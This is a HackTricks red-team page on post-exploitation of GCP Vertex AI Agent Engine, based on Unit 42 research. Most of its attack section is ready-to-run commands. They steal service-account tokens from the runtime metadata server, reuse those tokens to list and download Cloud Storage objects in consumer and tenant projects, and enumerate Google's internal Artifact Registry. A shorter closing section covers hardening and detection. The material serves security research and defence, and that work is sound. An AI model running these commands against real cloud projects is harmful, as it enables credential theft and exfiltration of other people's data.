GCP - Vertex AI Post Exploitation
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Vertex AI Agent Engine / Reasoning Engine
This page focuses on Vertex AI Agent Engine / Reasoning Engine workloads that run attacker-controlled tools or code inside a Google-managed runtime.
For the general Vertex AI overview check:
For classic Vertex AI privesc paths using custom jobs, models, and endpoints check:
Why this service is special
Agent Engine introduces a useful but dangerous pattern: developer-supplied code running inside a managed Google runtime with a Google-managed identity.
The interesting trust boundaries are:
- Consumer project: your project and your data.
- Producer project: Google-managed project operating the backend service.
- Tenant project: Google-managed project dedicated to the deployed agent instance.
According to Google’s Vertex AI IAM documentation, Vertex AI resources can use Vertex AI service agents as resource identities, and those service agents can have read-only access to all Cloud Storage resources and BigQuery data in the project by default. If code running inside Agent Engine can steal the runtime credentials, that default access becomes immediately interesting.
Main abuse path
- Deploy or modify an agent so attacker-controlled tool code executes inside the managed runtime.
- Query the metadata server to recover project identity, service account identity, OAuth scopes, and access tokens.
- Reuse the stolen token as the Vertex AI Reasoning Engine P4SA / service agent.
- Pivot into the consumer project and read project-wide storage data allowed by the service agent.
- Pivot into the producer and tenant environments reachable by the same identity.
- Enumerate internal Artifact Registry packages and extract tenant deployment artifacts such as
Dockerfile.zip,requirements.txt, andcode.pkl.
This is not just a “run code in your own agent” issue. The key problem is the combination of:
- metadata-accessible credentials
- broad default service-agent privileges
- wide OAuth scopes
- multi-project trust boundaries hidden behind one managed service
Enumeration
Identify Agent Engine resources
The resource name format used by Agent Engine is:
projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>
If you have a token with Vertex AI access, enumerate the Reasoning Engine API directly:
PROJECT_ID=<project-id>
LOCATION=<location>
curl -s \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"
Check deployment logs because they can leak internal producer Artifact Registry paths used during packaging or runtime startup:
gcloud logging read \
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
--project <project-id> \
--limit 50 \
--format json
The Unit 42 research observed internal paths such as:
us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod
Metadata credential theft from the runtime
If you can execute code inside the agent runtime, first query the metadata service:
curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'
Interesting fields include:
- project identifiers
- the attached service account / service agent
- OAuth scopes available to the runtime
Then request a token for the attached identity:
curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'
Validate the token and inspect the granted scopes:
TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"
curl -s \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "access_token=${TOKEN}" \
https://www.googleapis.com/oauth2/v1/tokeninfo
Warning
Google changed parts of the ADK deployment workflow after the research was reported, so exact old deployment snippets might no longer match the current SDK. The important primitive is still the same: if attacker-controlled code executes inside the Agent Engine runtime, metadata-derived credentials become reachable unless additional controls block that path.
Consumer-project pivot: service-agent data theft
Once the runtime token is stolen, test the effective access of the service agent against the consumer project.
The documented risky default capability is broad read access to project data. The Unit 42 research specifically validated:
storage.buckets.getstorage.buckets.liststorage.objects.getstorage.objects.list
Practical validation with the stolen token:
curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"
curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"
curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"
This turns a compromised or malicious agent into a project-wide storage exfiltration primitive.
Producer-project pivot: internal Artifact Registry access
The same stolen identity may also work against Google-managed producer resources.
Start by testing the internal repository URIs recovered from logs. Then enumerate packages with the Artifact Registry API:
packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
)
packages_response = packages_request.execute()
packages = packages_response.get("packages", [])
If you only have a raw bearer token, call the REST API directly:
curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"
This is valuable even if write access is blocked because it exposes:
- internal image names
- deprecated images
- supply-chain structure
- package/version inventory for follow-on research
For more Artifact Registry background check:
Tenant-project pivot: deployment artifact retrieval
Reasoning Engine deployments also leave interesting artifacts in a tenant project controlled by Google for that instance.
The Unit 42 research found:
Dockerfile.zipcode.pklrequirements.txt
Use the stolen token to enumerate accessible storage and search for deployment artifacts:
curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"
Artifacts from the tenant project can reveal:
- internal bucket names
- internal image references
- packaging assumptions
- dependency lists
- serialized agent code
The blog also observed an internal reference like:
gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip
Even when the referenced restricted bucket is not readable, those leaked paths help map internal infrastructure.
code.pkl and conditional RCE
If the deployment pipeline stores executable agent state in Python pickle format, treat it as a high-risk target.
The immediate issue is confidentiality:
- offline deserialization can expose code structure
- the package format leaks implementation details
The bigger issue is conditional RCE:
- if an attacker can tamper with the serialized artifact before service-side deserialization
- and the pipeline later loads that pickle
- arbitrary code execution becomes possible inside the managed runtime
This is not a standalone exploit by itself. It is a dangerous deserialization sink that becomes critical when combined with any artifact write or supply-chain tampering primitive.
OAuth scopes and Workspace blast radius
The metadata response also exposes the OAuth scopes attached to the runtime.
If those scopes are broader than the minimum required, a stolen token may become useful against more than GCP APIs. IAM still decides whether the identity is authorized, but broad scopes increase blast radius and make later misconfigurations more dangerous.
If you find Workspace-related scopes, cross-check whether the compromised identity also has a path to Workspace impersonation or delegated access:
Hardening / detection
Prefer a custom service account over the default managed identity
Current Agent Engine documentation supports setting a custom service account for the deployed agent. That is the cleanest way to reduce blast radius:
- remove dependence on the default broad service agent
- grant only the minimal permissions required by the agent
- make the runtime identity auditable and intentionally scoped
Validate the actual service-agent access
Inspect the effective access of the Vertex AI service agent in every project where Agent Engine is used:
gcloud projects get-iam-policy <project-id> \
--format json | jq '
.bindings[]
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
'
Focus on whether the attached identity can read:
- all GCS buckets
- BigQuery datasets
- Artifact Registry repositories
- secrets or internal registries reachable from build/deployment workflows
Treat agent code as privileged code execution
Any tool/function executed by the agent should be reviewed as if it were code running on a VM with metadata access. In practice this means:
- review agent tools for direct HTTP access to metadata endpoints
- review logs for references to internal
pkg.devrepositories and tenant buckets - review any packaging path that stores executable state as
pickle
References
- Double Agents: Exposing Security Blind Spots in GCP Vertex AI
- Deploy an agent - Vertex AI Agent Engine
- Vertex AI access control with IAM
- Service accounts and service agents
- Authorization for Google Cloud APIs
- pickle - Python object serialization
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.


